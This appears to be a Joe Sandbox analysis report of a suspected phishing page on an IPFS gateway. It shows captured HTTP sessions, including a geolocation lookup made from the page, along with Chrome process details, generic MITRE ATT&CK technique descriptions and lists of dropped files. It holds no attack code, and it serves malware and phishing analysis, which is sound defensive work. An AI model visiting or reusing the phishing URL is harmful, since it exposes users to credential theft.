2024-03-28 13:14:52 UTC	487	IN	HTTP/1.1 301 Moved Permanently Location: https://t0.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=https://www.domain.com&size=64 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Thu, 28 Mar 2024 13:14:52 GMT Expires: Thu, 28 Mar 2024 13:44:52 GMT Cache-Control: public, max-age=1800 Server: sffe Content-Length: 335 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 13:14:52 UTC	335	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 74 30 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 56 32 3f 63 6c 69 65 6e 74 3d 53 4f 43 49 41 4c 26 61 6d 70 3b 74 79 70 65 3d 46 41 56 49 43 4f 4e 26 61 6d 70 3b 66 61 6c 6c 62 61 63 6b 5f 6f 70 74 73 3d 54 59 50 45 2c Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TITLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="https://t0.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49722	34.117.186.192	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:52 UTC	337	OUT	GET /json HTTP/1.1 Host: ipinfo.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 13:14:53 UTC	401	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 28 Mar 2024 13:14:53 GMT content-type: application/json; charset=utf-8 Content-Length: 271 access-control-allow-origin: * x-content-type-options: nosniff x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 13:14:53 UTC	271	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 57 61 73 68 69 6e 67 74 6f 6e 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 57 61 73 68 69 6e 67 74 6f 6e 2c 20 44 2e 43 2e 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 33 38 2e 38 39 35 31 2c 2d 37 37 2e 30 33 36 34 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 31 37 34 20 43 6f 67 65 6e 74 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 32 30 30 30 34 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 0a 20 20 22 72 65 61 64 6d 65 22 3a 20 22 68 74 74 70 73 3a 2f 2f 69 70 69 6e 66 6f 2e 69 Data Ascii: { "ip": "102.165.48.43", "city": "Washington", "region": "Washington, D.C.", "country": "US", "loc": "38.8951,-77.0364", "org": "AS174 Cogent Communications", "postal": "20004", "timezone": "America/New_York", "readme": "https://ipinfo.i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49725	141.193.213.20	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:53 UTC	609	OUT	GET /static/favicons/icon-32x32.png HTTP/1.1 Host: www.fastmail.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 13:14:53 UTC	658	IN	HTTP/1.1 404 Not Found Date: Thu, 28 Mar 2024 13:14:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: EXPIRED Set-Cookie: __cf_bm=tWB5w7KcK1Ib1bkTVbAHty2DA7M4QNLEb9ClnmuzmeU-1711631693-1.0.1.1-s5bY5he0oyQEYEWHewl1XKpbSMCVWkYX1WcmlFFZ2uS0T_3vk4ANYq6JDacej4ZNIS6ESa1X_l_CH9ln3yDJpQ; path=/; expires=Thu, 28-Mar-24 13:44:53 GMT; domain=.www.fastmail.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 86b7e2c5af8a388c-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 13:14:53 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-03-28 13:14:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49730	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:15:02 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EUETyHENx9kwVUk&MD=GoYcZmkz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-03-28 13:15:02 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 25936241-3664-4dda-bf3f-3d263ca624c3 MS-RequestId: e058f008-ccb3-42c5-9a2c-2f43b06b0548 MS-CV: MYx6Cv/C1kaeq8+D.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Mar 2024 13:15:02 GMT Connection: close Content-Length: 24490
2024-03-28 13:15:02 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-03-28 13:15:02 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49731	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:15:03 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-03-28 13:15:03 UTC	468	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/073D) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=236906 Date: Thu, 28 Mar 2024 13:15:03 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49732	23.221.242.90	443

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:15:04 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-03-28 13:15:04 UTC	774	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-CID: 7 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 8BFC17DD061B46CAAD2B2AEB7B19C3D8 Ref B: CH1AA2040901011 Ref C: 2023-07-21T06:04:00Z X-MSEdge-Ref: Ref A: 1421F39FA7224BE199CC2F2C3DD24574 Ref B: CHI30EDGE0415 Ref C: 2023-07-21T06:04:00Z Content-Type: application/octet-stream X-Azure-Ref: 0DMGnYgAAAACXaXykPZuVRq4aV6pCkeO8U0pDRURHRTAzMTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=236885 Date: Thu, 28 Mar 2024 13:15:04 GMT Content-Length: 55 Connection: close X-CID: 2
2024-03-28 13:15:04 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49733	52.165.165.26	443

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:15:39 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EUETyHENx9kwVUk&MD=GoYcZmkz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-03-28 13:15:39 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 9475348a-be2c-447b-a4a6-8349deeeec38 MS-RequestId: abd92482-c2fd-414f-ae83-44cd14ce72f2 MS-CV: WXyvCkWJ7Eqs0LBF.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Mar 2024 13:15:39 GMT Connection: close Content-Length: 25457
2024-03-28 13:15:39 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-03-28 13:15:39 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Target ID:	0
Start time:	14:14:47
Start date:	28/03/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	14:14:48
Start date:	28/03/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 --field-trial-handle=1952,i,4620291694326311838,13151074779166357779,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Static File Info

Network Behavior

Network Port Distribution

Windows Analysis Report
https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/#hello@domain.com